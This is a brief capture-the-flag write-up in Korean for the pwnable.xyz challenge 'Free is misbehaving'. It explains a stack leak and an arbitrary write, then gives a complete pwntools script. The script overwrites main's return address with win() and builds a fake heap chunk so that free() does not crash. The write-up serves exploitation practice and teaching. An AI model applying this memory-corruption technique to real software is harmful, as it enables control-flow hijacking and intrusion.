Free is misbehaving.
Bug
Stack address leak
Arbitrary address write
malloc
으로 할당받은 메모리에서 0x10
바이트를 읽어와서 rsp+8
에 있는 v8
에 넣는데, 할당받은 메모리의 주소가 rsp+0x10
에 있기 때문에 이 주소를 임의의 주소로 덮어쓸 수 있다.
이후에 그 주소에 임의의 0x20
바이트 값을 쓸 수 있다.
Exploit
main()
의 return address를 win()
의 주소로 덮어쓰면 플래그를 획득할 수 있다.
return
전에 free()
에서 터지지 않도록 free()
에 들어가는 주소에 fake chunk 구조를 만들어 주어야 한다.
from pwn import *
r = remote("svc.pwnable.xyz", 30005)
sla = r.sendlineafter
sa = r.sendafter
win = 0x400A3E
sla(b"> ", b"2") # stack leak
rsp = int(r.recvline()[2:-1], 16) - 0x10 # rsp of main()
sla(b"> ", b"1")
r.send(b"a" * 8 + p64(rsp + 0x68)) # rsp+0x68 -> return address of main
sla(b"> ", b"3")
sla(b"> ", b"1") # ret overwrite
r.send(p64(win) + p64(rsp + 0x78)) # rsp+0x78 -> size field of fake chunk
sla(b"> ", b"3")
sla(b"> ", b"1") # make fake chunk
r.send(
p64(0x21) + p64(rsp + 0x80) + p64(0) + p64(0x20)
) # rsp+0x80 -> address of fake chunk
sla(b"> ", b"3")
sla(b"> ", b"0")
r.interactive()
728x90